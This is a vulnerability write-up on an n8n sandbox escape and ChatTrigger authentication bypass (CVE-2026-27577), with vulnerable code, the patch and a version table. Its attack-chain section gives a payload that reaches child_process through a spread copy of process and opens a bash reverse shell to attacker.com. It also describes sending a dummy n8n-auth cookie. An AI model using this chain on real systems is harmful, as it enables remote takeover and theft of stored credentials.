Feb 26, 2026·7 min read·6 visits
n8n's code execution sandbox has leaks. Using clever JavaScript tricks like `{...process}` or Python's `__objclass__`, attackers can bypass restrictions and run shell commands on the server. Coupled with a weak authentication check in the ChatTrigger node, this could allow unauthenticated RCE.
A critical Sandbox Escape vulnerability in n8n allows authenticated users (and potentially unauthenticated ones via a logic flaw) to break out of the JavaScript and Python execution environments. By exploiting flaws in the `PrototypeSanitizer` involving spread operators and variable shadowing, attackers can access the host process's internal objects, leading to full Remote Code Execution (RCE).
n8n is the glue of the modern internet. It connects your CRM to your Slack, your database to your email, and your sanity to a visual workflow builder. To make this magic happen, n8n allows users to write custom JavaScript and Python code within specific nodes. This feature is the platform's superpower, but as any security researcher knows, allowing users to run code on your server is like juggling chainsaws—eventually, you might catch the wrong end.
The developers behind n8n implemented a sandbox to contain this custom code. The idea is simple: give the user a playground, but put up a high fence so they can't wander into the child_process module or read /etc/passwd. CVE-2026-27577 is the story of how that fence wasn't just climbed over; it was dismantled, brick by brick, using the very tools intended to build workflows.
This vulnerability is particularly juicy because n8n instances are treasure troves. They hold API keys for AWS, Stripe, Twilio, and whatever else the company automates. Breaking out of the sandbox doesn't just give you a shell; it gives you the keys to the kingdom. And with a CVSS of 9.4, this is about as critical as it gets.
The root cause of this RCE lies in how n8n's PrototypeSanitizer attempted to filter dangerous objects. Sandbox design is fundamentally a game of "Whack-a-Mole." You block require, you block process, you block constructor. But JavaScript is a malleable, dynamic beast, and the n8n sanitizer missed a few exotic mutation techniques.
The Spread Operator Bypass: The sanitizer was designed to inspect objects and strip out dangerous properties. However, it failed to account for the spread operator (...). When you do const x = {...process}, you aren't just referencing the forbidden process object; you are creating a shallow copy of its enumerable properties into a new object. The sanitizer's logic didn't catch this indirect reference correctly, allowing the attacker to reconstitute a handle to the real Node.js process object inside the sandbox.
Identifier Shadowing: The sanitizer also relied on checking variable names against a deny-list. Researchers found that by shadowing internal variables—declaring a local variable with the same name as a restricted internal one (e.g., ___n8n_data)—they could confuse the sanitizer's scope resolution. It’s the code equivalent of wearing a fake mustache and telling the bouncer, "I'm not the droid you're looking for."
The Python Angle: It wasn't just JavaScript. The Python Task Runner had a similar issue. It relied on an attribute deny-list but missed __objclass__. In Python, this descriptor attribute allows traversal back up the object graph, letting an attacker break out of the restricted scope and access the underlying os module.
Let's look at the failure in the ChatTrigger node first, which provided the authentication bypass that could fuel this RCE. The code attempted to validate a session simply by checking if a cookie string existed. It didn't cryptographically verify the token.
Vulnerable Code (ChatTrigger/GenericFunctions.ts):
// "Security" by string parsing
const authCookie = getCookie('n8n-auth');
// If the cookie string exists, you're in!
if (!authCookie && webhookName !== 'setup') {
throw new ChatTriggerAuthorizationError(500, 'User not authenticated!');
}This is the classic "checking for the badge, not the ID" error. An attacker could simply send any value for n8n-auth and bypass the check. Once inside, they could trigger a workflow that executes code.
Now, for the Sandbox Escape. While the exact vulnerable sanitizer code is complex, the fix reveals exactly what was missing. The patch introduces a "Frozen Realm" concept, locking down constructors to prevent the pollution attacks used in this CVE.
The Fix (PrototypeSanitizer.ts):
// The patch freezes the world before the user gets there
const frozenConstructors = [
Object,
Function,
Array,
// ... and many more
];
frozenConstructors.forEach(constructor => {
Object.freeze(constructor);
Object.freeze(constructor.prototype);
});
// Explicitly blocking the spread operator loopholes
// and checking context before resolutionThe fix involves aggressively freezing global objects and their prototypes. If Object.prototype is frozen, an attacker cannot attach a malicious get handler to it to intercept calls outside the sandbox. They also added specific checks for SpreadElement nodes in the AST (Abstract Syntax Tree) parser to prevent the spread operator bypass.
To exploit this, an attacker needs access to a workflow creation interface or a trigger that passes input to a code node. Thanks to the ChatTrigger auth bypass, this might be easier than expected. Here is a theoretical reconstruction of the attack chain.
Step 1: The Setup
The attacker targets an n8n instance and sends a POST request to a webhook endpoint using the ChatTrigger. They include a header Cookie: n8n-auth=dummy_value. The server accepts this as valid authentication.
Step 2: The Payload
The attacker inputs a payload into a field that is evaluated by the expression engine. The payload utilizes the spread operator to clone the process object, which contains the keys to the kingdom (specifically, mainModule which can require system modules).
// Conceptual Payload
const malicious = {
// Spread the process object to bypass reference checks
...process
};
// Navigate from the cloned process back to the module system
const require = malicious.mainModule.require;
// Game Over
const child_process = require('child_process');
child_process.execSync('bash -i >& /dev/tcp/attacker.com/4444 0>&1');Step 3: Execution
n8n evaluates the expression. The sanitizer sees ...process and, prior to the patch, allows the copy operation. The resulting object malicious now holds references to the real Node.js internals. The attacker invokes execSync, and the server spawns a reverse shell connection back to the attacker.
The impact of an RCE on an automation platform cannot be overstated. n8n is often configured with privileged access to internal networks to perform its duties (database backups, internal notifications, syncing files).
Data Exfiltration: The attacker immediately gains access to the ~/.n8n/config or environment variables, which often contain the encryption keys for the n8n credential store. With these keys, they can decrypt every stored credential—Slack tokens, AWS keys, SMTP passwords, and database credentials.
Lateral Movement: Since n8n is designed to talk to other services, it is the perfect pivot point. An attacker can modify workflows to inject malicious payloads into Slack channels (phishing employees via trusted bots) or modify database records automatically.
Persistence: The attacker can leave a "ghost" workflow running in the background, executing a beacon every hour, or modify the n8n source code itself if the container is not read-only.
The remediation is straightforward but urgent. You must upgrade. The patch doesn't just fix a typo; it fundamentally changes the security posture of the sandbox by implementing a "Frozen Realm" and hardening the AST analysis.
Immediate Actions:
Developer Takeaway: The fix implemented by the n8n team (freezing the Object prototype) is a heavy-handed but effective way to stop prototype pollution and sandbox escapes. It turns the JavaScript environment into a static, immutable landscape where attackers can't hide their tools.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n | < 1.123.22 | 1.123.22 |
n8n n8n | >= 2.0.0 < 2.9.3 | 2.9.3 |
n8n n8n | 2.10.0 | 2.10.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-693 |
| Attack Vector | Network |
| CVSS | 9.4 (Critical) |
| Exploit Status | Poc Available |
| Impact | Remote Code Execution (RCE) |
| Platform | Node.js / Python |
Protection Mechanism Failure